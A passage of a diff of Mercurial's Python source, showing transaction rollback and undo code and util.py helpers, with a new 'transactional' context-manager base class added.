529 519 scope)'''
530 520 self._abort()
531 521
532 522 def _writeundo(self):
533 523 """write transaction data for possible future undo call"""
534 524 if self.undoname is None:
535 525 return
536 526 undobackupfile = self.opener.open("%s.backupfiles" % self.undoname, 'w')
537 527 undobackupfile.write('%d\n' % version)
538 528 for l, f, b, c in self._backupentries:
539 529 if not f: # temporary file
540 530 continue
541 531 if not b:
542 532 u = ''
543 533 else:
544 534 if l not in self._vfsmap and c:
545 535 self.report("couldn't remove %s: unknown cache location"
546 536 "%s\n" % (b, l))
547 537 continue
548 538 vfs = self._vfsmap[l]
549 539 base, name = vfs.split(b)
550 540 assert name.startswith(self.journal), name
551 541 uname = name.replace(self.journal, self.undoname, 1)
552 542 u = vfs.reljoin(base, uname)
553 543 util.copyfile(vfs.join(b), vfs.join(u), hardlink=True)
554 544 undobackupfile.write("%s\0%s\0%s\0%d\n" % (l, f, u, c))
555 545 undobackupfile.close()
556 546
557 547
558 548 def _abort(self):
559 549 self.count = 0
560 550 self.usages = 0
561 551 self.file.close()
562 552 self._backupsfile.close()
563 553
564 554 try:
565 555 if not self.entries and not self._backupentries:
566 556 if self._backupjournal:
567 557 self.opener.unlink(self._backupjournal)
568 558 if self.journal:
569 559 self.opener.unlink(self.journal)
570 560 return
571 561
572 562 self.report(_("transaction abort!\n"))
573 563
574 564 try:
575 565 for cat in sorted(self._abortcallback):
576 566 self._abortcallback[cat](self)
577 567 # Prevent double usage and help clear cycles.
578 568 self._abortcallback = None
579 569 _playback(self.journal, self.report, self.opener, self._vfsmap,
580 570 self.entries, self._backupentries, False,
581 571 checkambigfiles=self.checkambigfiles)
582 572 self.report(_("rollback completed\n"))
583 573 except BaseException:
584 574 self.report(_("rollback failed - please run hg recover\n"))
585 575 finally:
586 576 self.journal = None
587 577 self.releasefn(self, False) # notify failure of transaction
588 578 self.releasefn = None # Help prevent cycles.
589 579
590 580 def rollback(opener, vfsmap, file, report, checkambigfiles=None):
591 581 """Rolls back the transaction contained in the given file
592 582
593 583 Reads the entries in the specified file, and the corresponding
594 584 '*.backupfiles' file, to recover from an incomplete transaction.
595 585
596 586 * `file`: a file containing a list of entries, specifying where
597 587 to truncate each file. The file should contain a list of
598 588 file\0offset pairs, delimited by newlines. The corresponding
599 589 '*.backupfiles' file should contain a list of file\0backupfile
600 590 pairs, delimited by \0.
601 591
602 592 `checkambigfiles` is a set of (path, vfs-location) tuples,
603 593 which determine whether file stat ambiguity should be avoided at
604 594 restoring corresponded files.
605 595 """
606 596 entries = []
607 597 backupentries = []
608 598
609 599 fp = opener.open(file)
610 600 lines = fp.readlines()
611 601 fp.close()
612 602 for l in lines:
613 603 try:
614 604 f, o = l.split('\0')
615 605 entries.append((f, int(o), None))
616 606 except ValueError:
617 607 report(_("couldn't read journal entry %r!\n") % l)
618 608
619 609 backupjournal = "%s.backupfiles" % file
620 610 if opener.exists(backupjournal):
621 611 fp = opener.open(backupjournal)
622 612 lines = fp.readlines()
623 613 if lines:
624 614 ver = lines[0][:-1]
625 615 if ver == str(version):
626 616 for line in lines[1:]:
627 617 if line:
628 618 # Shave off the trailing newline
629 619 line = line[:-1]
630 620 l, f, b, c = line.split('\0')
631 621 backupentries.append((l, f, b, bool(c)))
632 622 else:
633 623 report(_("journal was created by a different version of "
634 624 "Mercurial\n"))
635 625
636 626 _playback(file, report, opener, vfsmap, entries, backupentries,
637 627 checkambigfiles=checkambigfiles)
@@ -1,3732 +1,3758 b''
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import
17 17
18 import abc
18 19 import bz2
19 20 import calendar
20 21 import codecs
21 22 import collections
22 23 import contextlib
23 24 import datetime
24 25 import errno
25 26 import gc
26 27 import hashlib
27 28 import imp
28 29 import os
29 30 import platform as pyplatform
30 31 import re as remod
31 32 import shutil
32 33 import signal
33 34 import socket
34 35 import stat
35 36 import string
36 37 import subprocess
37 38 import sys
38 39 import tempfile
39 40 import textwrap
40 41 import time
41 42 import traceback
42 43 import warnings
43 44 import zlib
44 45
45 46 from . import (
46 47 encoding,
47 48 error,
48 49 i18n,
49 50 policy,
50 51 pycompat,
51 52 )
52 53
53 54 base85 = policy.importmod(r'base85')
54 55 osutil = policy.importmod(r'osutil')
55 56 parsers = policy.importmod(r'parsers')
56 57
57 58 b85decode = base85.b85decode
58 59 b85encode = base85.b85encode
59 60
60 61 cookielib = pycompat.cookielib
61 62 empty = pycompat.empty
62 63 httplib = pycompat.httplib
63 64 httpserver = pycompat.httpserver
64 65 pickle = pycompat.pickle
65 66 queue = pycompat.queue
66 67 socketserver = pycompat.socketserver
67 68 stderr = pycompat.stderr
68 69 stdin = pycompat.stdin
69 70 stdout = pycompat.stdout
70 71 stringio = pycompat.stringio
71 72 urlerr = pycompat.urlerr
72 73 urlreq = pycompat.urlreq
73 74 xmlrpclib = pycompat.xmlrpclib
74 75
75 76 # workaround for win32mbcs
76 77 _filenamebytestr = pycompat.bytestr
77 78
78 79 def isatty(fp):
79 80 try:
80 81 return fp.isatty()
81 82 except AttributeError:
82 83 return False
83 84
84 85 # glibc determines buffering on first write to stdout - if we replace a TTY
85 86 # destined stdout with a pipe destined stdout (e.g. pager), we want line
86 87 # buffering
87 88 if isatty(stdout):
88 89 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
89 90
90 91 if pycompat.osname == 'nt':
91 92 from . import windows as platform
92 93 stdout = platform.winstdout(stdout)
93 94 else:
94 95 from . import posix as platform
95 96
96 97 _ = i18n._
97 98
98 99 bindunixsocket = platform.bindunixsocket
99 100 cachestat = platform.cachestat
100 101 checkexec = platform.checkexec
101 102 checklink = platform.checklink
102 103 copymode = platform.copymode
103 104 executablepath = platform.executablepath
104 105 expandglobs = platform.expandglobs
105 106 explainexit = platform.explainexit
106 107 findexe = platform.findexe
107 108 gethgcmd = platform.gethgcmd
108 109 getuser = platform.getuser
109 110 getpid = os.getpid
110 111 groupmembers = platform.groupmembers
111 112 groupname = platform.groupname
112 113 hidewindow = platform.hidewindow
113 114 isexec = platform.isexec
114 115 isowner = platform.isowner
115 116 listdir = osutil.listdir
116 117 localpath = platform.localpath
117 118 lookupreg = platform.lookupreg
118 119 makedir = platform.makedir
119 120 nlinks = platform.nlinks
120 121 normpath = platform.normpath
121 122 normcase = platform.normcase
122 123 normcasespec = platform.normcasespec
123 124 normcasefallback = platform.normcasefallback
124 125 openhardlinks = platform.openhardlinks
125 126 oslink = platform.oslink
126 127 parsepatchoutput = platform.parsepatchoutput
127 128 pconvert = platform.pconvert
128 129 poll = platform.poll
129 130 popen = platform.popen
130 131 posixfile = platform.posixfile
131 132 quotecommand = platform.quotecommand
132 133 readpipe = platform.readpipe
133 134 rename = platform.rename
134 135 removedirs = platform.removedirs
135 136 samedevice = platform.samedevice
136 137 samefile = platform.samefile
137 138 samestat = platform.samestat
138 139 setbinary = platform.setbinary
139 140 setflags = platform.setflags
140 141 setsignalhandler = platform.setsignalhandler
141 142 shellquote = platform.shellquote
142 143 spawndetached = platform.spawndetached
143 144 split = platform.split
144 145 sshargs = platform.sshargs
145 146 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
146 147 statisexec = platform.statisexec
147 148 statislink = platform.statislink
148 149 testpid = platform.testpid
149 150 umask = platform.umask
150 151 unlink = platform.unlink
151 152 username = platform.username
152 153
153 154 try:
154 155 recvfds = osutil.recvfds
155 156 except AttributeError:
156 157 pass
157 158 try:
158 159 setprocname = osutil.setprocname
159 160 except AttributeError:
160 161 pass
161 162
162 163 # Python compatibility
163 164
164 165 _notset = object()
165 166
166 167 # disable Python's problematic floating point timestamps (issue4836)
167 168 # (Python hypocritically says you shouldn't change this behavior in
168 169 # libraries, and sure enough Mercurial is not a library.)
169 170 os.stat_float_times(False)
170 171
171 172 def safehasattr(thing, attr):
172 173 return getattr(thing, attr, _notset) is not _notset
173 174
174 175 def bitsfrom(container):
175 176 bits = 0
176 177 for bit in container:
177 178 bits |= bit
178 179 return bits
179 180
180 181 # python 2.6 still have deprecation warning enabled by default. We do not want
181 182 # to display anything to standard user so detect if we are running test and
182 183 # only use python deprecation warning in this case.
183 184 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
184 185 if _dowarn:
185 186 # explicitly unfilter our warning for python 2.7
186 187 #
187 188 # The option of setting PYTHONWARNINGS in the test runner was investigated.
188 189 # However, module name set through PYTHONWARNINGS was exactly matched, so
189 190 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
190 191 # makes the whole PYTHONWARNINGS thing useless for our usecase.
191 192 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
192 193 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
193 194 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
194 195
195 196 def nouideprecwarn(msg, version, stacklevel=1):
196 197 """Issue an python native deprecation warning
197 198
198 199 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
199 200 """
200 201 if _dowarn:
201 202 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
202 203 " update your code.)") % version
203 204 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
204 205
205 206 DIGESTS = {
206 207 'md5': hashlib.md5,
207 208 'sha1': hashlib.sha1,
208 209 'sha512': hashlib.sha512,
209 210 }
210 211 # List of digest types from strongest to weakest
211 212 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
212 213
213 214 for k in DIGESTS_BY_STRENGTH:
214 215 assert k in DIGESTS
215 216
216 217 class digester(object):
217 218 """helper to compute digests.
218 219
219 220 This helper can be used to compute one or more digests given their name.
220 221
221 222 >>> d = digester(['md5', 'sha1'])
222 223 >>> d.update('foo')
223 224 >>> [k for k in sorted(d)]
224 225 ['md5', 'sha1']
225 226 >>> d['md5']
226 227 'acbd18db4cc2f85cedef654fccc4a4d8'
227 228 >>> d['sha1']
228 229 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
229 230 >>> digester.preferred(['md5', 'sha1'])
230 231 'sha1'
231 232 """
232 233
233 234 def __init__(self, digests, s=''):
234 235 self._hashes = {}
235 236 for k in digests:
236 237 if k not in DIGESTS:
237 238 raise Abort(_('unknown digest type: %s') % k)
238 239 self._hashes[k] = DIGESTS[k]()
239 240 if s:
240 241 self.update(s)
241 242
242 243 def update(self, data):
243 244 for h in self._hashes.values():
244 245 h.update(data)
245 246
246 247 def __getitem__(self, key):
247 248 if key not in DIGESTS:
248 249 raise Abort(_('unknown digest type: %s') % k)
249 250 return self._hashes[key].hexdigest()
250 251
251 252 def __iter__(self):
252 253 return iter(self._hashes)
253 254
254 255 @staticmethod
255 256 def preferred(supported):
256 257 """returns the strongest digest type in both supported and DIGESTS."""
257 258
258 259 for k in DIGESTS_BY_STRENGTH:
259 260 if k in supported:
260 261 return k
261 262 return None
262 263
263 264 class digestchecker(object):
264 265 """file handle wrapper that additionally checks content against a given
265 266 size and digests.
266 267
267 268 d = digestchecker(fh, size, {'md5': '...'})
268 269
269 270 When multiple digests are given, all of them are validated.
270 271 """
271 272
272 273 def __init__(self, fh, size, digests):
273 274 self._fh = fh
274 275 self._size = size
275 276 self._got = 0
276 277 self._digests = dict(digests)
277 278 self._digester = digester(self._digests.keys())
278 279
279 280 def read(self, length=-1):
280 281 content = self._fh.read(length)
281 282 self._digester.update(content)
282 283 self._got += len(content)
283 284 return content
284 285
285 286 def validate(self):
286 287 if self._size != self._got:
287 288 raise Abort(_('size mismatch: expected %d, got %d') %
288 289 (self._size, self._got))
289 290 for k, v in self._digests.items():
290 291 if v != self._digester[k]:
291 292 # i18n: first parameter is a digest name
292 293 raise Abort(_('%s mismatch: expected %s, got %s') %
293 294 (k, v, self._digester[k]))
294 295
295 296 try:
296 297 buffer = buffer
297 298 except NameError:
298 299 def buffer(sliceable, offset=0, length=None):
299 300 if length is not None:
300 301 return memoryview(sliceable)[offset:offset + length]
301 302 return memoryview(sliceable)[offset:]
302 303
303 304 closefds = pycompat.osname == 'posix'
304 305
305 306 _chunksize = 4096
306 307
307 308 class bufferedinputpipe(object):
308 309 """a manually buffered input pipe
309 310
310 311 Python will not let us use buffered IO and lazy reading with 'polling' at
311 312 the same time. We cannot probe the buffer state and select will not detect
312 313 that data are ready to read if they are already buffered.
313 314
314 315 This class let us work around that by implementing its own buffering
315 316 (allowing efficient readline) while offering a way to know if the buffer is
316 317 empty from the output (allowing collaboration of the buffer with polling).
317 318
318 319 This class lives in the 'util' module because it makes use of the 'os'
319 320 module from the python stdlib.
320 321 """
321 322
322 323 def __init__(self, input):
323 324 self._input = input
324 325 self._buffer = []
325 326 self._eof = False
326 327 self._lenbuf = 0
327 328
328 329 @property
329 330 def hasbuffer(self):
330 331 """True is any data is currently buffered
331 332
332 333 This will be used externally a pre-step for polling IO. If there is
333 334 already data then no polling should be set in place."""
334 335 return bool(self._buffer)
335 336
336 337 @property
337 338 def closed(self):
338 339 return self._input.closed
339 340
340 341 def fileno(self):
341 342 return self._input.fileno()
342 343
343 344 def close(self):
344 345 return self._input.close()
345 346
346 347 def read(self, size):
347 348 while (not self._eof) and (self._lenbuf < size):
348 349 self._fillbuffer()
349 350 return self._frombuffer(size)
350 351
351 352 def readline(self, *args, **kwargs):
352 353 if 1 < len(self._buffer):
353 354 # this should not happen because both read and readline end with a
354 355 # _frombuffer call that collapse it.
355 356 self._buffer = [''.join(self._buffer)]
356 357 self._lenbuf = len(self._buffer[0])
357 358 lfi = -1
358 359 if self._buffer:
359 360 lfi = self._buffer[-1].find('\n')
360 361 while (not self._eof) and lfi < 0:
361 362 self._fillbuffer()
362 363 if self._buffer:
363 364 lfi = self._buffer[-1].find('\n')
364 365 size = lfi + 1
365 366 if lfi < 0: # end of file
366 367 size = self._lenbuf
367 368 elif 1 < len(self._buffer):
368 369 # we need to take previous chunks into account
369 370 size += self._lenbuf - len(self._buffer[-1])
370 371 return self._frombuffer(size)
371 372
372 373 def _frombuffer(self, size):
373 374 """return at most 'size' data from the buffer
374 375
375 376 The data are removed from the buffer."""
376 377 if size == 0 or not self._buffer:
377 378 return ''
378 379 buf = self._buffer[0]
379 380 if 1 < len(self._buffer):
380 381 buf = ''.join(self._buffer)
381 382
382 383 data = buf[:size]
383 384 buf = buf[len(data):]
384 385 if buf:
385 386 self._buffer = [buf]
386 387 self._lenbuf = len(buf)
387 388 else:
388 389 self._buffer = []
389 390 self._lenbuf = 0
390 391 return data
391 392
392 393 def _fillbuffer(self):
393 394 """read data to the buffer"""
394 395 data = os.read(self._input.fileno(), _chunksize)
395 396 if not data:
396 397 self._eof = True
397 398 else:
398 399 self._lenbuf += len(data)
399 400 self._buffer.append(data)
400 401
401 402 def popen2(cmd, env=None, newlines=False):
402 403 # Setting bufsize to -1 lets the system decide the buffer size.
403 404 # The default for bufsize is 0, meaning unbuffered. This leads to
404 405 # poor performance on Mac OS X: http://bugs.python.org/issue4194
405 406 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
406 407 close_fds=closefds,
407 408 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
408 409 universal_newlines=newlines,
409 410 env=env)
410 411 return p.stdin, p.stdout
411 412
412 413 def popen3(cmd, env=None, newlines=False):
413 414 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
414 415 return stdin, stdout, stderr
415 416
416 417 def popen4(cmd, env=None, newlines=False, bufsize=-1):
417 418 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
418 419 close_fds=closefds,
419 420 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
420 421 stderr=subprocess.PIPE,
421 422 universal_newlines=newlines,
422 423 env=env)
423 424 return p.stdin, p.stdout, p.stderr, p
424 425
425 426 def version():
426 427 """Return version information if available."""
427 428 try:
428 429 from . import __version__
429 430 return __version__.version
430 431 except ImportError:
431 432 return 'unknown'
432 433
433 434 def versiontuple(v=None, n=4):
434 435 """Parses a Mercurial version string into an N-tuple.
435 436
436 437 The version string to be parsed is specified with the ``v`` argument.
437 438 If it isn't defined, the current Mercurial version string will be parsed.
438 439
439 440 ``n`` can be 2, 3, or 4. Here is how some version strings map to
440 441 returned values:
441 442
442 443 >>> v = '3.6.1+190-df9b73d2d444'
443 444 >>> versiontuple(v, 2)
444 445 (3, 6)
445 446 >>> versiontuple(v, 3)
446 447 (3, 6, 1)
447 448 >>> versiontuple(v, 4)
448 449 (3, 6, 1, '190-df9b73d2d444')
449 450
450 451 >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
451 452 (3, 6, 1, '190-df9b73d2d444+20151118')
452 453
453 454 >>> v = '3.6'
454 455 >>> versiontuple(v, 2)
455 456 (3, 6)
456 457 >>> versiontuple(v, 3)
457 458 (3, 6, None)
458 459 >>> versiontuple(v, 4)
459 460 (3, 6, None, None)
460 461
461 462 >>> v = '3.9-rc'
462 463 >>> versiontuple(v, 2)
463 464 (3, 9)
464 465 >>> versiontuple(v, 3)
465 466 (3, 9, None)
466 467 >>> versiontuple(v, 4)
467 468 (3, 9, None, 'rc')
468 469
469 470 >>> v = '3.9-rc+2-02a8fea4289b'
470 471 >>> versiontuple(v, 2)
471 472 (3, 9)
472 473 >>> versiontuple(v, 3)
473 474 (3, 9, None)
474 475 >>> versiontuple(v, 4)
475 476 (3, 9, None, 'rc+2-02a8fea4289b')
476 477 """
477 478 if not v:
478 479 v = version()
479 480 parts = remod.split('[\+-]', v, 1)
480 481 if len(parts) == 1:
481 482 vparts, extra = parts[0], None
482 483 else:
483 484 vparts, extra = parts
484 485
485 486 vints = []
486 487 for i in vparts.split('.'):
487 488 try:
488 489 vints.append(int(i))
489 490 except ValueError:
490 491 break
491 492 # (3, 6) -> (3, 6, None)
492 493 while len(vints) < 3:
493 494 vints.append(None)
494 495
495 496 if n == 2:
496 497 return (vints[0], vints[1])
497 498 if n == 3:
498 499 return (vints[0], vints[1], vints[2])
499 500 if n == 4:
500 501 return (vints[0], vints[1], vints[2], extra)
501 502
502 503 # used by parsedate
503 504 defaultdateformats = (
504 505 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
505 506 '%Y-%m-%dT%H:%M', # without seconds
506 507 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
507 508 '%Y-%m-%dT%H%M', # without seconds
508 509 '%Y-%m-%d %H:%M:%S', # our common legal variant
509 510 '%Y-%m-%d %H:%M', # without seconds
510 511 '%Y-%m-%d %H%M%S', # without :
511 512 '%Y-%m-%d %H%M', # without seconds
512 513 '%Y-%m-%d %I:%M:%S%p',
513 514 '%Y-%m-%d %H:%M',
514 515 '%Y-%m-%d %I:%M%p',
515 516 '%Y-%m-%d',
516 517 '%m-%d',
517 518 '%m/%d',
518 519 '%m/%d/%y',
519 520 '%m/%d/%Y',
520 521 '%a %b %d %H:%M:%S %Y',
521 522 '%a %b %d %I:%M:%S%p %Y',
522 523 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
523 524 '%b %d %H:%M:%S %Y',
524 525 '%b %d %I:%M:%S%p %Y',
525 526 '%b %d %H:%M:%S',
526 527 '%b %d %I:%M:%S%p',
527 528 '%b %d %H:%M',
528 529 '%b %d %I:%M%p',
529 530 '%b %d %Y',
530 531 '%b %d',
531 532 '%H:%M:%S',
532 533 '%I:%M:%S%p',
533 534 '%H:%M',
534 535 '%I:%M%p',
535 536 )
536 537
537 538 extendeddateformats = defaultdateformats + (
538 539 "%Y",
539 540 "%Y-%m",
540 541 "%b",
541 542 "%b %Y",
542 543 )
543 544
544 545 def cachefunc(func):
545 546 '''cache the result of function calls'''
546 547 # XXX doesn't handle keywords args
547 548 if func.__code__.co_argcount == 0:
548 549 cache = []
549 550 def f():
550 551 if len(cache) == 0:
551 552 cache.append(func())
552 553 return cache[0]
553 554 return f
554 555 cache = {}
555 556 if func.__code__.co_argcount == 1:
556 557 # we gain a small amount of time because
557 558 # we don't need to pack/unpack the list
558 559 def f(arg):
559 560 if arg not in cache:
560 561 cache[arg] = func(arg)
561 562 return cache[arg]
562 563 else:
563 564 def f(*args):
564 565 if args not in cache:
565 566 cache[args] = func(*args)
566 567 return cache[args]
567 568
568 569 return f
569 570
570 571 class sortdict(collections.OrderedDict):
571 572 '''a simple sorted dictionary
572 573
573 574 >>> d1 = sortdict([('a', 0), ('b', 1)])
574 575 >>> d2 = d1.copy()
575 576 >>> d2
576 577 sortdict([('a', 0), ('b', 1)])
577 578 >>> d2.update([('a', 2)])
578 579 >>> d2.keys() # should still be in last-set order
579 580 ['b', 'a']
580 581 '''
581 582
582 583 def __setitem__(self, key, value):
583 584 if key in self:
584 585 del self[key]
585 586 super(sortdict, self).__setitem__(key, value)
586 587
587 588 if pycompat.ispypy:
588 589 # __setitem__() isn't called as of PyPy 5.8.0
589 590 def update(self, src):
590 591 if isinstance(src, dict):
591 592 src = src.iteritems()
592 593 for k, v in src:
593 594 self[k] = v
594 595
596 class transactional(object):
597 """Base class for making a transactional type into a context manager."""
598 __metaclass__ = abc.ABCMeta
599
600 @abc.abstractmethod
601 def close(self):
602 """Successfully closes the transaction."""
603
604 @abc.abstractmethod
605 def release(self):
606 """Marks the end of the transaction.
607
608 If the transaction has not been closed, it will be aborted.
609 """
610
611 def __enter__(self):
612 return self
613
614 def __exit__(self, exc_type, exc_val, exc_tb):
615 try:
616 if exc_type is None:
617 self.close()
618 finally:
619 self.release()
620
595 621 @contextlib.contextmanager
596 622 def acceptintervention(tr=None):
597 623 """A context manager that closes the transaction on InterventionRequired
598 624
599 625 If no transaction was provided, this simply runs the body and returns
600 626 """
601 627 if not tr:
602 628 yield
603 629 return
604 630 try:
605 631 yield
606 632 tr.close()
607 633 except error.InterventionRequired:
608 634 tr.close()
609 635 raise
610 636 finally:
611 637 tr.release()
612 638
613 639 @contextlib.contextmanager
614 640 def nullcontextmanager():
615 641 yield
616 642
617 643 class _lrucachenode(object):
618 644 """A node in a doubly linked list.
619 645
620 646 Holds a reference to nodes on either side as well as a key-value
621 647 pair for the dictionary entry.
622 648 """
623 649 __slots__ = (u'next', u'prev', u'key', u'value')
624 650
625 651 def __init__(self):
626 652 self.next = None
627 653 self.prev = None
628 654
629 655 self.key = _notset
630 656 self.value = None
631 657
632 658 def markempty(self):
633 659 """Mark the node as emptied."""
634 660 self.key = _notset
635 661
636 662 class lrucachedict(object):
637 663 """Dict that caches most recent accesses and sets.
638 664
639 665 The dict consists of an actual backing dict - indexed by original
640 666 key - and a doubly linked circular list defining the order of entries in
641 667 the cache.
642 668
643 669 The head node is the newest entry in the cache. If the cache is full,
644 670 we recycle head.prev and make it the new head. Cache accesses result in
645 671 the node being moved to before the existing head and being marked as the
646 672 new head node.
647 673 """
648 674 def __init__(self, max):
649 675 self._cache = {}
650 676
651 677 self._head = head = _lrucachenode()
652 678 head.prev = head
653 679 head.next = head
654 680 self._size = 1
655 681 self._capacity = max
656 682
657 683 def __len__(self):
658 684 return len(self._cache)
659 685
660 686 def __contains__(self, k):
661 687 return k in self._cache
662 688
663 689 def __iter__(self):
664 690 # We don't have to iterate in cache order, but why not.
665 691 n = self._head
666 692 for i in range(len(self._cache)):
667 693 yield n.key
668 694 n = n.next
669 695
670 696 def __getitem__(self, k):
671 697 node = self._cache[k]
672 698 self._movetohead(node)
673 699 return node.value
674 700
675 701 def __setitem__(self, k, v):
676 702 node = self._cache.get(k)
677 703 # Replace existing value and mark as newest.
678 704 if node is not None:
679 705 node.value = v
680 706 self._movetohead(node)
681 707 return
682 708
683 709 if self._size < self._capacity:
684 710 node = self._addcapacity()
685 711 else:
686 712 # Grab the last/oldest item.
687 713 node = self._head.prev
688 714
689 715 # At capacity. Kill the old entry.
690 716 if node.key is not _notset:
691 717 del self._cache[node.key]
692 718
693 719 node.key = k
694 720 node.value = v
695 721 self._cache[k] = node
696 722 # And mark it as newest entry. No need to adjust order since it
697 723 # is already self._head.prev.
698 724 self._head = node
699 725
700 726 def __delitem__(self, k):
701 727 node = self._cache.pop(k)
702 728 node.markempty()
703 729
704 730 # Temporarily mark as newest item before re-adjusting head to make
705 731 # this node the oldest item.
706 732 self._movetohead(node)
707 733 self._head = node.next
708 734
709 735 # Additional dict methods.
710 736
711 737 def get(self, k, default=None):
712 738 try:
713 739 return self._cache[k].value
714 740 except KeyError:
715 741 return default
716 742
717 743 def clear(self):
718 744 n = self._head
719 745 while n.key is not _notset:
720 746 n.markempty()
721 747 n = n.next
722 748
723 749 self._cache.clear()
724 750
725 751 def copy(self):
726 752 result = lrucachedict(self._capacity)
727 753 n = self._head.prev
728 754 # Iterate in oldest-to-newest order, so the copy has the right ordering
729 755 for i in range(len(self._cache)):
730 756 result[n.key] = n.value
731 757 n = n.prev
732 758 return result
733 759
734 760 def _movetohead(self, node):
735 761 """Mark a node as the newest, making it the new head.
736 762
737 763 When a node is accessed, it becomes the freshest entry in the LRU
738 764 list, which is denoted by self._head.
739 765
740 766 Visually, let's make ``N`` the new head node (* denotes head):
741 767
742 768 previous/oldest <-> head <-> next/next newest
743 769
744 770 ----<->--- A* ---<->-----
745 771 | |
746 772 E <-> D <-> N <-> C <-> B
747 773
748 774 To:
749 775
750 776 ----<->--- N* ---<->-----
751 777 | |
752 778 E <-> D <-> C <-> B <-> A
753 779
754 780 This requires the following moves:
755 781
756 782 C.next = D (node.prev.next = node.next)
757 783 D.prev = C (node.next.prev = node.prev)
758 784 E.next = N (head.prev.next = node)
759 785 N.prev = E (node.prev = head.prev)
760 786 N.next = A (node.next = head)
761 787 A.prev = N (head.prev = node)
762 788 """
763 789 head = self._head
764 790 # C.next = D
765 791 node.prev.next = node.next
766 792 # D.prev = C
767 793 node.next.prev = node.prev
768 794 # N.prev = E
769 795 node.prev = head.prev
770 796 # N.next = A
771 797 # It is tempting to do just "head" here, however if node is
772 798 # adjacent to head, this will do bad things.
773 799 node.next = head.prev.next
774 800 # E.next = N
775 801 node.next.prev = node
776 802 # A.prev = N
777 803 node.prev.next = node
778 804
779 805 self._head = node
780 806
781 807 def _addcapacity(self):
782 808 """Add a node to the circular linked list.
783 809
784 810 The new node is inserted before the head node.
785 811 """
786 812 head = self._head
787 813 node = _lrucachenode()
788 814 head.prev.next = node
789 815 node.prev = head.prev
790 816 node.next = head
791 817 head.prev = node
792 818 self._size += 1
793 819 return node
794 820
795 821 def lrucachefunc(func):
796 822 '''cache most recent results of function calls'''
797 823 cache = {}
798 824 order = collections.deque()
799 825 if func.__code__.co_argcount == 1:
800 826 def f(arg):
801 827 if arg not in cache:
802 828 if len(cache) > 20:
803 829 del cache[order.popleft()]
804 830 cache[arg] = func(arg)
805 831 else:
806 832 order.remove(arg)
807 833 order.append(arg)
808 834 return cache[arg]
809 835 else:
810 836 def f(*args):
811 837 if args not in cache:
812 838 if len(cache) > 20:
813 839 del cache[order.popleft()]
814 840 cache[args] = func(*args)
815 841 else:
816 842 order.remove(args)
817 843 order.append(args)
818 844 return cache[args]
819 845
820 846 return f
821 847
822 848 class propertycache(object):
823 849 def __init__(self, func):
824 850 self.func = func
825 851 self.name = func.__name__
826 852 def __get__(self, obj, type=None):
827 853 result = self.func(obj)
828 854 self.cachevalue(obj, result)
829 855 return result
830 856
831 857 def cachevalue(self, obj, value):
832 858 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
833 859 obj.__dict__[self.name] = value
834 860
835 861 def pipefilter(s, cmd):
836 862 '''filter string S through command CMD, returning its output'''
837 863 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
838 864 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
839 865 pout, perr = p.communicate(s)
840 866 return pout
841 867
842 868 def tempfilter(s, cmd):
843 869 '''filter string S through a pair of temporary files with CMD.
844 870 CMD is used as a template to create the real command to be run,
845 871 with the strings INFILE and OUTFILE replaced by the real names of
846 872 the temporary files generated.'''
847 873 inname, outname = None, None
848 874 try:
849 875 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
850 876 fp = os.fdopen(infd, pycompat.sysstr('wb'))
851 877 fp.write(s)
852 878 fp.close()
853 879 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
854 880 os.close(outfd)
855 881 cmd = cmd.replace('INFILE', inname)
856 882 cmd = cmd.replace('OUTFILE', outname)
857 883 code = os.system(cmd)
858 884 if pycompat.sysplatform == 'OpenVMS' and code & 1:
859 885 code = 0
860 886 if code:
861 887 raise Abort(_("command '%s' failed: %s") %
862 888 (cmd, explainexit(code)))
863 889 return readfile(outname)
864 890 finally:
865 891 try:
866 892 if inname:
867 893 os.unlink(inname)
868 894 except OSError:
869 895 pass
870 896 try:
871 897 if outname:
872 898 os.unlink(outname)
873 899 except OSError:
874 900 pass
875 901
876 902 filtertable = {
877 903 'tempfile:': tempfilter,
878 904 'pipe:': pipefilter,
879 905 }
880 906
881 907 def filter(s, cmd):
882 908 "filter a string through a command that transforms its input to its output"
883 909 for name, fn in filtertable.iteritems():
884 910 if cmd.startswith(name):
885 911 return fn(s, cmd[len(name):].lstrip())
886 912 return pipefilter(s, cmd)
887 913
888 914 def binary(s):
889 915 """return true if a string is binary data"""
890 916 return bool(s and '\0' in s)
891 917
892 918 def increasingchunks(source, min=1024, max=65536):
893 919 '''return no less than min bytes per chunk while data remains,
894 920 doubling min after each chunk until it reaches max'''
895 921 def log2(x):
896 922 if not x:
897 923 return 0
898 924 i = 0
